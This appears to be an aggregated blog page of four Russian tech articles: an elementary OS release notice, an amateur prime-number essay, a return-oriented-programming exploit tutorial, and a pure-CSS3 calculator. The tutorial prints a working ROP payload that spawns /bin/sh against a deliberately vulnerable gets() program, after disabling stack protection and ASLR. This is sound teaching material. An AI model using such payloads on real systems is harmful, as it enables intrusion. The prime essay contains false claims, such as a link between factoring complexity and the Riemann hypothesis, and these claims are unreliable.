...

суббота, 11 апреля 2015 г.

Релиз elementary OS «Freya»

Спустя два года с момента выхода elementary OS Luna, мы дождались релиза следующий версии, под названием Freya. Напомню, отличительной особенностью elementary OS является графическая оболочка собственной разработки — Pantheon. Дополнительно стоит отметить, что Freya основана на Ubuntu 14.04.

image



Изменений в системе много, с полным списком можно ознакомиться на сайте elementary.io

Видео демонстрация ОС:





Запись презентации ОС:



Ссылки для скачивания:

32-bit: SF, Torrent

64-bit: SF, Torrent


This entry passed through the Full-Text RSS service - if this is your content and you're reading it on someone else's site, please read the FAQ at http://ift.tt/jcXqJW.


Непростые простые числа: секреты тайного общества ткачей


Автор статьи предлагает заглянуть в то, что представляют собой множества простых чисел, если взглянуть на них геометрическим образом. Это не профессиональная работа, а простое, любительское исследование некоторых любопытных закономерностей. Поэтому, в статье не будет сложной математики, и мы не будем забираться глубоко в ее дебри.


Вероятно, читателю известны многие проблемы, связанные с простыми числами. Их расположение в множестве натуральных чисел неочевидно. Большие простые числа трудно находить, нужно много усилий, чтобы проверить большое число на простоту. На этой трудности основаны многие современные методы криптографии. Мы можем легко перемножить да многозначных простых числа, но зная результат найти исходные множители – очень сложная задача.


Есть множество способов оптимизации, которые намного быстрее простого перебора, однако даже если оптимизация ускорит поиск в 10 раз, достаточно увеличить число на 2-3 десятичных знака (например, в 100 раз), чтобы замедлить поиск в 10^100 раз.


Это и значит, что сложность алгоритма является экспоненциальной, и поэтому какой бы быстрый ни был суперкомпьютер, мы можем подобрать длину числа еще больше, чтобы таких суперкомпьютеров потребовалось миллиард. Правда, стоит уточнить еще раз: находить простые числа для перемножения при этом становится так же все труднее и труднее.


К слову, математики не нашли ни доказательства, ни опровержения того, что нельзя найти алгоритм факторизации, сложность которого не была бы экспоненциально зависящей от длины числа. А доказав или опровергнув это, можно, заодно, решить математическую проблему, известную как гипотеза Римана. За ее доказательство математический институт Клея обещает миллион долларов.


Раз уж мы не знаем закономерности, по которой бы легко находились простые числа, может быть, посмотрим внимательнее на закономерности чисел составных? Говоря математически, рассмотрим множество натуральных чисел, дополнительное к множеству простых.


Идея составных чисел очень проста. Возьмем несколько натуральных чисел и перемножим их. Тем самым, мы получаем составное число.


Мы легко найдем бесконечность составных чисел, просто умножив n на 2.


То же касается умножения на 3.


Далее следует 4, но здесь мы новых чисел не найдем, все они уже равны 2n. Далее следуют 5n, потом 6n, которые нами найдены уже дважды, как 2n и 3n одновременно. Это не увеличивает количества составных чисел, но наводит нас на мысль, что закономерность составных чисел заключена в произведении простых.


Но если мы пройдем немного дальше, то обнаружим интересную закономерность: число 6 это произведение 2 и 3. Это значит, что у нас будет сразу много удобно расположенных в таблице составных чисел


Глядя на таблицу, мы понимаем, что в строках 2, 3, 4 и 6 никогда не может быть простых чисел. А это значит, что вероятность найти простое число не может превышать 2/6. Мы понимаем, что чисел эта вероятность еще меньше, но как сильно?


Попробуем и дальше поискать удобную структуру составных чисел, а для этого, подумаем, что значит 2х3=6? Что если мы возьмем произведение из 2х3х5 за основу? Мы получаем следующую интересную таблицу (чтобы она не занимала много места, уменьшим шрифт)


Мы видим, что

— 15 строк вида 2n,

— 5 строк вида 3n (плюс 5 вида 6n уже учтены в 2n)

— и 2 строки вида 5n (еще три вида 10n уже вычеркнуты в числах 2n и одна 15n среди строк 3n)

не могут содержать простых чисел (мы же этого и ожидали, верно?)


Остаются лишь восемь строк вида 30n + i, где i = 1, 7, 11, 13, 17, 19, 23, 29. Если приглядеться, в них можно увидеть симметрию. 1+29=7+23=11+19=13+7.


Поэтому компактно можно записать как 30n +- i, где i = 1, 7, 11, 13,17


И мы понимаем, что вероятность найти произвольное простое число не больше 8/30. На 2/30 стало меньше…


Что же дальше? Следуя логике, в следующей таблице должно быть 2х3х5х7=210 строк. Еще дальше 210х11=2310, потом 2310х13, и так мы будем последовательно перемножать простые числа, получая все большую и большую базу «строчной развертки», которая будет сохранять свою полосатость.


Это выглядит так, будто бы простые числа отбрасывают «тени» в бесконечность кратных им чисел, если их располагать в ряд соответственно базе числа, обозначим его П(i), равного последовательному произведению i простых чисел.


Можно заметить, что полоса строк, лежащих между первой и следующей, где могут содержаться простые числа, растет по очень простому закону: если строк 6, то есть 2х3, то простые числа могут быть в строке 5, если 2х3х5, то начиная со строки 7, что логично. Таким образом, в матрице с количеством строк 30 030 (2х3х5х7х11х13) после первой строки будет широкая полоса составных чисел, до строки, следующей от числа 17. А если мы возьмем матрицу на 9 699 690 строк (2х3х5х7х11х13х17х19), то полоса, где простых чисел нет, протянется до строки 21. Что характерно, из-за симметрии, внизу матрицы так же будет 20 строк с исключительно составными числами.


Но что такое эти произведения? 2х3 – это прямоугольник, площадью 6. 2х3х5 – параллелепипед, объемом 30. А дальше? 2х3х5х7 – гиперпараллелепипед в 4 измерениях, с гиперобъемом 210? А потом? 5 измерений, 6,… Бесконечность?


Только подумайте, что могли бы себе вообразить многомерный мир, в которых простые числа отбрасывают свои тени во всех измерениях…


Мы можем представить себе четыре и более измерений, проекциями их на плоскость или в трехмерное пространство, например, раскладывая матрицу, словно перекатывая многомерный гиперкуб с грани на грань и рассматривая получающиеся на бумаге отпечатки (а так же получая отпечатки сечений)

Вот начальная грань


А вот ее развертка с двух сторон


Очень удачно, что во всей правой гиперплоскости у нас исключительно составные числа. Можем в нее даже не путешествовать. Можно взглянуть и на другую развертку, взгляд «сверху», но далее мы пойдем в более интересном направлении.




Попробуем теперь развернуть картинку в четвертое измерение, в интересующую нас сторону, где можно находить простые числа


Здесь коричневым цветом обозначены числа вида mn, которые составлены произведениями чисел от 11 до 19 (ближайшее целое, меньшее 210/11). Особенность этих чисел в том, что они сами не являясь простыми числами не «отбрасывают тени» вглубь следующего измерения.


Как мы видим, средний слой развертки снова становится тривиальным – здесь и далее простых чисел нет. А вот внешние грани гиперпаллелепипеда можно рассматривать и дальше. Каждый столбец раскладывается в матрицу 7х11, получаем 5 таких матриц для каждого из трех слоев матрицы 3х5 (здесь показана развертка одного столбца и фрагмент матрицы для второго столбца)


Дальше углубляться в измерения на примере развертке мы не будем, в рамках статьи было бы неблагоразумно. В конце статьи Вы можете посмотреть на еще несколько иллюстраций. Надеюсь, это исследование немножко разбудило Ваше воображение, и путешествие в мир непростых и простых чисел Вам понравилось и показалось полезным.


В дополнение, автор хочет заметить, что продолжает исследование этого метода. Например, вопросы появления в более крупных матрицах произведений третьих, четвертых и далее степеней чисел, которые добавляют все новые простые числа в глубоких и объемных проекциях, как отбрасывающих тень в следующие измерения, так и остающиеся «точечными» вкраплениями.


Но, пожалуй, наибольший интерес вызывает возможность уточнения оценки вероятности нахождения простых чисел все дальше и дальше. Если рассматривать матрицы, то мы видим, как вероятность падает, начиная с 4/6, далее до 7/24 (или усредненно 11/30), потом 36/180 (или 47/210), и т.д.


Кроме того, у автора есть алгоритм факторизации, оптимизация которого в многомерной матрице может заметно его ускорить (но он от этого не перестает иметь экспоненциальную степень сложности от количества знаков разлагаемого числа).


Сам алгоритм в основе очень прост.


Берем два последовательные нечетные числа, p и q, такие, что pq близко к X (используется округление корня из X до большего и меньшего нечетных чисел, при условии, что Х не является квадратом). Предварительно мы устраняем четность Х (делим на 2 до тех пор, пока результат четный), получая множитель 2^K. Далее же, в цикле, проверяем разницу между Х и pq. Если она равна нулю – результат получен. Если она больше нуля, мы уменьшаем q на 2. Если меньше нуля, увеличиваем p на 2q. В цикле используется только сложение, поэтому алгоритм довольно быстрый (зависит лишь от реализации функций работы с BigInteger)


Однако, у автора есть гипотеза, что шаг пересчета можно значительно увеличить, не теряя в аккуратности, если использовать базу кратности. Всякое число Х находится между двумя последовательными П(i) и П(i+1), где П(i) – произведение первых i простых чисел, поэтому можно определить, к какому из ребер число Х находится ближе и какой диапазон свободы у p и q в каждой из проекций) и тем самым образуемый p и q прямоугольник из одной плоскости развернуть в сечение гиперпараллелепипеда.


P.S. А при чем здесь тайное общество ткачей, спросит читатель, которого привлек оригинальный заголовок? Возможно, читатель помнит фильм «Особо опасен» В этом году обещают даже продолжение… В этом фильме ткацкий станок делает предсказания, укладывая нити и узелки… Посмотрите, как похоже это делают ниточки простых чисел…


В матрице 30х7


И кусочек матрицы 210х11


А управляют узелками этой машиной вот такие матрицы-перфокарты

Развертка матрицами 2х3



И побольше, матрицами 6х5


This entry passed through the Full-Text RSS service - if this is your content and you're reading it on someone else's site, please read the FAQ at http://ift.tt/jcXqJW.


Return oriented programming. Собираем exploit по кусочкам

Введение

В этой статье мы попробуем разобраться как работает Return Oriented эксплоит. Тема, в принципе, так себе заезженная, и в инете валяется немало публикаций, но я постараюсь писать так, чтобы эта статья не была их простой компиляцией. По ходу нам придется разбираться с некоторыми системными особенностями Linux и архитектуры x86-64 (все нижеописанные эксперименты были проведены на Ubuntu 14.04). Основной целью будет эксплуатирование тривиальной уязвимости gets с помощью ROP (Return oriented programming).



Уязвимость

На самом деле понятно, что поиск уязвимостей — отдельная проблема. Неплохо было бы начать с того, чтобы придумать какую-нибудь простую уязвимость. Вот например функция gets(), входящая в стандартную библиотеку С, является одной большой уязвимостью, ей и воспользуемся.

#include <stdio.h>
#include <string.h>
int func()
{
int val = 0;
char buf[10];
gets(buf);
printf("%s\n", buf);
val = strlen(buf);
return val;
}

int main(int argc, char **argv) {
return func();
}




Данный код считывает из stdin всё, что видит, пока не наткнется на символ конца строки или файла. Вообще говоря, применение этой функции не очень приветствуется и существует она лишь для обратной совместимости. Тем не менее, сам не раз видел свежий код, в котором люди применяли эту функцию. Ну и бог с ним. Попробуем скомпилировать (о значении -fno-stack-protector поговорим позже).

gcc -o main main.c -g -Wall -fno-stack-protector




gcc ещё два раза предупредил нас об абсурдности наших действий (сообщение может отсутствовать в других сборках gcc)

main.c: In function 'func':
main.c:7:2: warning: 'gets' is deprecated (declared at /usr/include/stdio.h:638) [-Wdeprecated-declarations]
gets(buf);
^
/tmp/ccBFHgPN.o: In function `func':
/home/alexhoppus/Desktop/rop_tutorial/main.c:7: warning: the `gets' function is dangerous and should not be used.




Ну ладно, давайте разбираться чего он там лепечет про dangerous и deprecated.

Smash the stack

Из кода выше видно, что есть буфер, в который считывается строка. Буфер находится на стеке. Как известно, стек — это не больше чем кусок rw памяти в адресном пространстве приложения. Давайте попробуем восстановить его layout на x86-64. Делать мы это будем с помощью утилиты objdump, а затем проверим с помощью gdb.

objdump -d main
00000000004005bd <func>:
4005bd: 55 push %rbp
4005be: 48 89 e5 mov %rsp,%rbp
4005c1: 48 83 ec 10 sub $0x10,%rsp
4005c5: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%rbp)
4005cc: 48 8d 45 f0 lea -0x10(%rbp),%rax
4005d0: 48 89 c7 mov %rax,%rdi
4005d3: e8 e8 fe ff ff callq 4004c0 <gets@plt>
4005d8: 48 8d 45 f0 lea -0x10(%rbp),%rax
4005dc: 48 89 c7 mov %rax,%rdi
4005df: e8 9c fe ff ff callq 400480 <puts@plt>
4005e4: 48 8d 45 f0 lea -0x10(%rbp),%rax
4005e8: 48 89 c7 mov %rax,%rdi
4005eb: e8 a0 fe ff ff callq 400490 <strlen@plt>
4005f0: 89 45 fc mov %eax,-0x4(%rbp)
4005f3: 8b 45 fc mov -0x4(%rbp),%eax
4005f6: c9 leaveq
4005f7: c3 retq

00000000004005f8 <main>:
4005f8: 55 push %rbp
4005f9: 48 89 e5 mov %rsp,%rbp
4005fc: 48 83 ec 10 sub $0x10,%rsp
400600: 89 7d fc mov %edi,-0x4(%rbp)
400603: 48 89 75 f0 mov %rsi,-0x10(%rbp)
400607: b8 00 00 00 00 mov $0x0,%eax
40060c: e8 ac ff ff ff callq 4005bd <func>
400611: c9 leaveq
400612: c3 retq
400613: 66 2e 0f 1f 84 00 00 nopw %cs:0x0(%rax,%rax,1)
40061a: 00 00 00
40061d: 0f 1f 00 nopl (%rax)




Начнем со строки в main, которая делает вызов func (40060c). callq можно представить в виде push адреса возврата (400611) и jump на адрес func. Таким образом, первым на стек кладется адрес возврата. Когда мы прыгнули на func мы пушим на стек %rbp — адрес начала предыдущего стек фрейма. Далее мы расширяем стек (стек растет вниз) на 16 байт и зануляем первые 4 байта после сохраненного %rbp — видимо, это наша переменная val на стеке. Функции gets передается указатель на буфер через регистр %rdi, который вычисляется следующим образом lea -0x10(%rbp),%rax. Резюмируем картинкой:



Из картинки можно заключить, что, если записать в буфер строку, в которой больше чем 15 символов (+1 байт конец строки), то наше приложение скорее всего свалится, так как мы перезапишем %rbp — адрес начала предыдущего стек фрейма. При этом из текущей функции func мы выйдем в main нормально, но потом у нас возникнут проблемы — программа будет думать, что ее стек вовсе не там, где он есть на самом деле, а так как на стеке хранится %rip — адрес возврата, мы получим SIGSEGV от ядра Linux, когда возвратимся по неверному адресу.

Теперь посмотрим на стек с точки зрения gdb:

python -c "print 'a'*15" > input2
gdb ./main
(gdb) b func
Breakpoint 1 at 0x4005c5: file main.c, line 5.
(gdb) r < input2
(gdb) info register
...
rsp 0x7fffffffde90 0x7fffffffde90
...
(gdb) x/100x 0x7fffffffde90
0x7fffffffde90: 0x61616161 0x61616161 0x61616161 0x00616161
0x7fffffffdea0: 0xffffdec0 0x00007fff 0x00400611 0x00000000
0x7fffffffdeb0: 0xffffdfa8 0x00007fff 0x00000000 0x00000001




Сейчас мы окончательно можем быть уверены в том, что не ошиблись. Попробуйте ввести на stdin больше 15 символов и убедитесь, что приложение получит SIGSEGV. Теперь пришло время вернуться к опции -fno-stack-protector. Повторим этот трюк без нее (внимание: данная опция у меня по умолчанию включена — такая сборка gcc, у Вас может быть наоборот).

gcc -o main main.c -g -Wall
python -c "print 'a'*26" | ./main
aaaaaaaaaaaaaaaaaaaaaaaaaa
*** stack smashing detected ***: ./main terminated
Aborted (core dumped)




Флаг -fstack-protector позволяет включить поддержку защиты от переполнения буфера со стороны gcc. Принцип её работы прост — между %rip, %rbp и доступным для записи буфером на стек помещается известное компилятору значение, после выхода из функции значение считывается со стека и сверяется с первоначальным. Если на лицо несовпадение, то мы увидим сообщение о stack smashing. Вы можете сами лицезреть механизм работы stack canaries при помощи просто дисасемблинга objdump -d

000000000040062d <func>:
...
400635: 64 48 8b 04 25 28 00 mov %fs:0x28,%rax
40063c: 00 00
40063e: 48 89 45 f8 mov %rax,-0x8(%rbp)
...
400675: 48 8b 55 f8 mov -0x8(%rbp),%rdx
400679: 64 48 33 14 25 28 00 xor %fs:0x28,%rdx
400680: 00 00
400682: 74 05 je 400689 <func+0x5c>
400684: e8 77 fe ff ff callq 400500 <__stack_chk_fail@plt>
400689: c9 leaveq
40068a: c3 retq




Чтобы упростить себе жизнь при написании ROP экслоита, приложение мы будем компилировать с флагом -fno-stack-protector. Это будет первый из двух механизмов защиты, который мы умышленно выключим, чтобы упростить себе жизнь.

Address space layout randomization

Рассказывая об ASLR, наверное, уже стоит перейти к сути дела. Как вы понимаете, злоумышленник может переполнить буфер на стеке и перезаписать адрес возврата, чтобы прыгнуть на какой — либо код. Остается вопрос — куда прыгать и откуда там взяться нужному хакеру коду? На стек код закинуть не получится, потому что стек не исполняемый. Это обеспечивается на уровне таблиц страниц, которые формируют виртуальное адресное пространство процесса, иными словами в page table entry нет флага «X» (executable). Можно прыгать на замапленные библиотеки, вернее на некоторые куски кода из этих библиотек. На этом принципе и основано return oriented programming. Чтобы нельзя было заранее угадать адрес, в который мапится библиотека, а, следовательно, и адрес конкретного кусочка кода из библиотеки, при старте приложения положение библиотеки в адресном пространстве процесса рандомизируется. Это фича ядра Linux, которая контролируется через proc.

echo 0 > /proc/sys/kernel/randomize_va_space


Для упрощения её тоже придется отключить.

Exec /bin/sh

Ну что же, приложение с уязвимостью собрано без защиты от переполнения стека, ASLR выключена. Теперь, для демонстрации уязвимости, заставим процесс — жертву вызвать /bin/sh вместо себя. Для начала необходимо представлять как код эксплоита будет выглядеть:



section .text
global _start
_start:
mov rax, 0x3b
mov rdi, cmd
mov rsi, 0
mov rdx, 0
syscall

section .data
cmd: db '/bin/sh'
.end:




Здесь все просто — на x86-64 код приложения выполняет системный вызов используя инструкцию syscall. При этом в %rax необходимо поместить номер системного вызова (0x3b), в регистры %rdi, %rsi, %rdx… помещаются аргументы. Если забыли как выглядит список аргументов execve можете посмотреть тут

Проверьте, что shell вызывается:

nasm -f elf64 exec1.S -o exec.o
ld -o exec exec.o
./exec


Гаджеты

Вообще говоря, гаджет — это просто кусок кода библиотеки или приложения. Искать гаджеты для нашего будущего эксплоита мы будем в libc. Для начала давайте посмотрим в какой адрес мапится код секция libc. Для этого можно, остановить приложение на функции main при помощи gdb и выполнить:



cat /proc/`pidof main`/maps | grep libc | grep r-xp




Здесь нам важен флаг «X» в маппинге, по нему мы можем понять, что это непосредственно исполняемая секция.

7ffff7a14000-7ffff7bcf000 r-xp 00000000 08:01 466797 /lib/x86_64-linux-gnu/libc-2.19.so




Идеологически поведение будущего эксплоита показано на следующем рисунке:



Мы начнем с того, что положим на стек вместо адреса возврата addr1, который будет указывать на первый гаджет из кода libc. Первый гаджет выполнит pop %rax, поместив в регистр %rax приготовленное нами на стеке значение 0x3b, далее ret возьмет со стека адрес addr2 и прыгнет на него. Что касается 0x601000 — это адрес начала rw области (data секция) исполняемого файла ./main:

00400000-00401000 r-xp 00000000 08:01 527064 /home/alexhoppus/Desktop/rop_tutorial/main
00600000-00601000 r--p 00000000 08:01 527064 /home/alexhoppus/Desktop/rop_tutorial/main
00601000-00602000 rw-p 00001000 08:01 527064 /home/alexhoppus/Desktop/rop_tutorial/main




Мы выберем этот адрес для того, чтобы поместить по нему строку "/bin//sh". В регистр %rdx сохраним саму строку, а в %rdi её адрес.

mov qword [rdi], rdx


помещает "/bin//sh" по адресу 0x601000. Основная работа сделана — остальной код обнуляет значение регистров %rsi и %rdx (2 и 3 аргументы execve) и выполняет syscall. Таким образом, мы в 7 return'ов execнули ничего не подозревающий main и превратили его в /bin/sh.

Как найти гаджеты

На самом деле существует множество утилит, анализирующих код библиотеки / приложения и предоставляющих вам набор готовых гаджетов с адресами. В данной статье для поиска гаджетов использовалась эта утилита. Пример вывода поисковика гаджетов:



./rp-lin-x64 -f /lib/x86_64-linux-gnu/libc-2.19.so -r 2 | grep "pop rax"
...
0x0019d345: pop rax ; out dx, al ; jmp qword [rdx] ; (1 found)
0x000fafb9: pop rax ; pop rdi ; call rax ; (1 found)
0x000193b8: pop rax ; ret ; (1 found)
0x001a09c8: pop rax ; adc al, 0xF1 ; jmp qword [rax] ; (1 found)
...




Для получения реальных адресов гаджетов в памяти необходимо прибавить к полученным в выводе адресам смещение, равное адресу начала маппинга исполняемой секция libc (см. выше) — 0x7ffff7a14000.

И что же получается в итоге?

После того, как Вы отыщите все необходимые гаджеты, получится что-то вроде



python -c "print 'a'*24+'\xb8\xd3\xa2\xf7\xff\x7f\x00\x00'+'\x3b\x00\x00\x00\x00\x00\x00\x00'+'\x21\x6a\xa3\xf7\xff\x7f\x00\x00'+'\x00\x10\x60\x00\x00\x00\x00\x00'+'\x8e\x5b\xa1\xf7\xff\x7f\x00\x00'+'\x2f\x62\x69\x6e\x2f\x73\x68\x00'+'\x27\x3c\xa3\xf7\xff\x7f\x00\x00'+'\x14\xa1\xb4\xf7\xff\x7f\x00\x00'+'\x00\x00\x00\x00\x00\x00\x00\x00'+'\x8e\x5b\xa1\xf7\xff\x7f\x00\x00'+'\x00\x00\x00\x00\x00\x00\x00\x00'+'\xd5\x68\xad\xf7\xff\x7f\x00\x00'" | ./main




Проверьте с помощью strace, что shell действительно запускается. Если все сделано верно, /bin/sh запустится и сразу же выйдет, так как на stdin уже пусто. По понятным причинам в реальных условиях связывать stdin этого шела с клавиатурой никто не будет, но мы можем позволить небольшой хак, чтобы протестировать работоспособность эксплоита:

alexhoppus@hp:~/Desktop/rop_tutorial$ cat <(python -c "print 'a'*24+'\xb8\xd3\xa2\xf7\xff\x7f\x00\x00'+'\x3b\x00\x00\x00\x00\x00\x00\x00'+'\x21\x6a\xa3\xf7\xff\x7f\x00\x00'+'\x00\x10\x60\x00\x00\x00\x00\x00'+'\x8e\x5b\xa1\xf7\xff\x7f\x00\x00'+'\x2f\x62\x69\x6e\x2f\x73\x68\x00'+'\x27\x3c\xa3\xf7\xff\x7f\x00\x00'+'\x14\xa1\xb4\xf7\xff\x7f\x00\x00'+'\x00\x00\x00\x00\x00\x00\x00\x00'+'\x8e\x5b\xa1\xf7\xff\x7f\x00\x00'+'\x00\x00\x00\x00\x00\x00\x00\x00'+'\xd5\x68\xad\xf7\xff\x7f\x00\x00'") - | ./main
aaaaaaaaaaaaaaaaaaaaaaaa�Ӣ��
ls
Blank Flowchart - New Page (2).jpeg article~ exec1.S input main.c shell
a.out exec hello input2 rop.jpeg stack.jpeg
article




Ну вот и всё. Надеюсь что статья даст почву для ваших будущих экспериментов (не в практической плоскости, а научно-познавательной).

This entry passed through the Full-Text RSS service - if this is your content and you're reading it on someone else's site, please read the FAQ at http://ift.tt/jcXqJW.


[Перевод] Калькулятор на чистом CSS3

Это был довольно интересный проект. Я пытался создать арифметический калькулятор чисто на CSS3 (а не JavaScript). Используя такие элементы, как calc(), attr(), counter() и пр. это казалось не таким уж сложным заданием, но все оказалось не так просто.

Прежде чем я начну, хотелось бы отметить, что обоснованных причин создавать калькулятор, используя только CSS, нет. Я сделал это просто ради интереса.


Стабильно работает только в Firefox 4 и IE 9


Одним из ключевых компонентов любого калькулятора является возможность преобразовывать ввод. Используя только CSS, мы имеем очень ограниченные варианты фиксации ввода. Таким образом, для регистрации всех вводов используются чекбоксы. Для применения изменений к другим элементам можно использовать состояние «:checked» и селектор «~», а так как они довольно прямолинейны, я не буду вдаваться в подробности, а вместо этого акцентирую внимание на логике вычисления значений.



Зарегистрировать первую клавишу действительно не проблема, так как если нажать на чекбокс с числом 9, вы зарегистрируете ввод числа 9. Первая проблема возникает в том случае, если пользователь хочет ввести 95 (т.е. 9 и 5). Если мы уже зарегистрировали 9, мы не можем просто прибавить 5 (так как получится 14). Мы можем умножить на 10, но тогда получится 90. Нам нужно умножить на 10 и добавить 5. Поэтому counter() вроде как пока не участвует.


Одним из способов, как этого можно достичь, является использование размера шрифта. Преимущество размера шрифта заключается в том, что дочерние элементы наследуют значения родительских элементов, и вы можете задавать значения как в процентном соотношении, так и в пикселях.


Представьте себе следующую структуру HTML:



#div1 > #div2 > #div3 > #div4 > #div5


При выборе первого числа (в этом случае 9), вы будете использовать свойство содержимого, чтобы прибавить 9 знаков к div5 с размером шрифта в 1 пиксель (другими словами, ширина div5 будет равна 9 пикселям). Теперь, когда пользователь выберет какое-либо другое число, мы будет применять размер шрифта: 1000% к фактическому значению #div5 (обратите внимание, что 9 символов все также имеют собственный размер шрифта в 1 пиксель), что приведет к тому, что #div5 теперь будет иметь ширину в 90 пикселей. Кроме того, второе число будет добавляться в качестве содержимого в #div4 таким же образом, что и в #div5, с размером шрифта равным 1 пиксель, то есть содержимое текста в #div4 будет равно 5 пикселям, но включая дочерний элемент #div5, суммарная ширина будет равна 95 пикселям!


Таким же образом мы поступим и с третьим числом, применив размер шрифта 1000% к элементу #div4 и пр. Это все хорошо звучит, но проблема заключается в том, что максимальный размер шрифта относительно невелик. Я говорю «относительно» по сравнению со следующим методом, что приведет к тому, что это метод будет пригоден только для чисел меньше 100 000 или около того (точно не помню, какой был лимит в FF/Chrome, но мне он показался достаточно низким, чтобы отказаться от этой идеи).


Для небольших чисел такой метод вполне подходит (например, как это выполнено в этом блэкджеке, сделанном чисто на CSS3 (работает только в Chrome)).


Поэтому использование размера шрифта в качестве контейнера для ввода даже не обсуждалось. Я решил попробовать элемент calc(). К сожалению, пока что его не поддерживает webkit, и в качестве примера он работает только на IE9 и Firefox 4 и выше. Как и в случае с методом размер шрифта, мы будем использовать ту же структуру HTML с элементами «div», помещенными один в один, но в этот раз мы начнем с родительского элемента.


При выборе первого числа мы указываем значение в виде ширины #div1. При выборе второго числа мы задаем ширину для #div2 в виде calc(1000% + число2). Как и в предыдущем примере, ширина #div1 будет равна 9 пикселям, а ширина #div2 — calc(1000% + 5px), что приведет к тому, что ширина будет равна 95 пикселям. Таким же образом мы можем продолжать для #div3… #div5, допуская, что пользователь вводит до 5 знаков.


Отлично, мы успешно сохранили введенное пользователем значение (при этом мы еще не выполняли вычисления, которые хочет сделать пользователь). Давайте допустим, что пользователь ввел 9146, что в результате даст следующую ширину элементов div:


#div1 9px

#div2 91px

#div3 914px

#div4 9146px

#div5 9146px (по умолчанию 100%)


В это время пользователь решил умножить (мы убрали возможность для пользователя вводить новые числа до выполнения действия, которое в данный момент представляет собой умножение).


Теперь нам нужно настроить первое значение (ширину #div5), умножив его на любое число, которое выберет пользователь. Первое, что вы можете предположить – это продолжить использовать тот же метод, что и в первом примере, т.е. изменить структуру на


#div1 > #div2 > #div3 > #div4 > #div5 > #div6 > #div7 > #div8 > #div9 и пр.


после чего изменить ширину, используя выбранное пользователем значение. К сожалению, все не так. Представьте, что в том же примере пользователь хочет умножить 9146*25.


То есть, после того, как пользователь введет первый символ числа, на которое он будет умножать, т.е. «2», ширина #div6 будет равна 200%, что в результате даст 18 292? Это выглядит довольно хорошо и правильно, и так оно и есть.


Однако когда мы переходим ко второму знаку, мы сталкиваемся, наверное, с наибольшей проблемой во всем этом приложении. Мы не можем просто умножить на 5, т.е. 500%, так как 500% от 18 292 – это 91 460, что не есть то же самое, что и 25 * 9146, которое равно 228 650. Выполнение прибавления умножения с помощью calc() тоже нам не поможет, так как настоящая проблема заключается в том, что мы не можем умножить одно и то же значение несколько раз. Нам нужно целое число (25), и его нужно использовать для умножения исходного числа (9146).


Еще одна проблема заключается в том, что #div1 не фиксирует ширину дочернего элемента, поэтому, когда дочерний элемент #div5 имеет ширину 9146px, #div1 все так же равен 9px, даже несмотря на то, что #div5 находится внутри него. В случае с размером шрифта это не имело значения.


Если #div1 будет отражать реальную ширину, тогда 5 div могут клонироваться 5 раз и располагаться друг за другом, формируя следующую структуру:


#container > {

#parent1 > #div1 > #div2 > #div3 > #div4 > #div5

#parent2 > #div1 > #div2 > #div3 > #div4 > #div5

#parent3 > #div1 > #div2 > #div3 > #div4 > #div5

#parent4 > #div1 > #div2 > #div3 > #div4 > #div5

#parent5 > #div1 > #div2 > #div3 > #div4 > #div5

}


Во-первых, только один элемент div будет отображаться (#parent1), и как только будет выбрано первое число для умножения, мы умножим ширину div на 2, что приведет к тому, что ширина контейнера будет равна 2x9146. Когда будет выбрано второе число, мы снова умножим #parent1 на 1000%, в результате чего ширина контейнера будет равна 20x9146, после чего мы отобразим #parent2 и умножим его на 500%, в результате чего ширина последнего элемента #container будет равна 20x9146 + 5x9146, то есть 25x9146, и так со всеми последующими числами. При этом, это нельзя сделать без метода размера шрифта.


Перепробовав огромное количество вариантов с таблицами и прочими вложенными элементами, я пришел к использованию селекторов для фиксации числа. Я отбросил эту идею и продолжаю это делать, так как она нарушает предназначение практически всего, что я пытался тут сделать (ничего из этого не потребуется, если вы просто сделаете тысячи различных css-селекторов для каждой отдельной комбинации цифр).


То есть, получится следующее:


— когда пользователь выбирает 2, это умножает ширину #div5 на 200%;


— если пользователь выбирает еще одну цифру (т.е. 5), у нас получается селектор, который фиксирует, что за «digit1number2:checked» идет «digit2number5:checked», что после этого регистрирует, что ширина равна 2500%.


Очевидно, что это приводит к необходимости иметь селектор для каждого отдельного числа. Поэтому, если мы хотим иметь возможность умножать на любое число от 0 до 99, нам нужно 100 разных селекторов для каждой отдельной комбинации. Таким же образом, если мы хотим 0-999, нам нужно 1000 селекторов, а для 0-9999 – 10000 селекторов, поэтому делать калькулятором с помощью такого способа – это просто глупо. Несмотря на то, что у меня закончились идеи и ввиду наличия ограничений (о которых я расскажу дальше), это не обязательно большая потеря. Все равно мы можем технически обеспечить любую длину первого числа, имея всего несколько селекторов, но второе число теперь будет ограничено до 0-99.


Отлично, мы наконец-то смогли вычислить ширину div, основывая на введенном пользователем значении. Как теперь представить это пользователю? Наверное, сейчас вы надеетесь, что элемент attr() позволит нам отобразить значения css, указанные в таблицах стилей, но, к сожалению, это не так. Как уже объяснялось ранее, использование элемента counter() не приносит реального результата, особенно в отношении умножения и деления, при этом его презентация была бы намного проще.


Так как же он показывает ширину? Помните, как использовались все предыдущие примеры для настройки ширины элемента div? Соедините эту ширину с плавающим фреймом с шириной 100% и несколькими медиа-запросами. Отлично, теперь у нас есть плавающий фрейм шириной 228 650 пикселей внутри элемента div, и нам нужно сделать 228 650 различных медиа-запросов, чтобы представить каждое отдельное число, основанное на ширине документа? Опять же, это, конечно, можно сделать, но это просто лишает все смысла.


Нет, вместо этого мы будем использовать количество плавающих фреймов, один для каждого знака числа. То есть, если мы хотим представить количество, состоящее из 6 знаков, нам понадобится 6 плавающих фреймов внутри фрейма, который мы хотим представить. Первый фрейм будет определять количество знаков, то есть получится что-то вроде этого:


0 < ширина < 100: 1-2 знака

100 < ширина < 1000: 3 знака

1000 < ширина < 10000: 4 знака

10000 < ширина < 100000: 5 знаков

100000 < ширина < 1000000: 6 знаков

и т.д.


и после этого будет отображаться нужный фрейм, который в данном случае представляет собой 6-значный фрейм.


После этого этот фрейм будет включать 10 медиа-запросов, которые будут проверять, что первый знак числа представляет собой что-то вроде этого:



@media(min-width: 100px) and (max-width: 100099px) -> 0
@media(min-width: 100100px) and (max-width: 200099px) -> 1
@media(min-width: 200100px) and (max-width: 300099px) -> 2


А каждый медиа-запрос после этого добавляет это число и сокращает ширину плавающего фрейма на нужное количество сотен тысяч, в данном случае – 200000, чтобы следующий вложенный фрейм была равен digit5.html, а его ширина была равна 28 650 (так как мы удалили 200000 из его 100%). После этого мы будем использовать тот же метод для проверки 5го знака, отображения этого знака и сокращения ширины следующего фрейма на нужное количество десятков тысяч, и так далее до последнего знака.


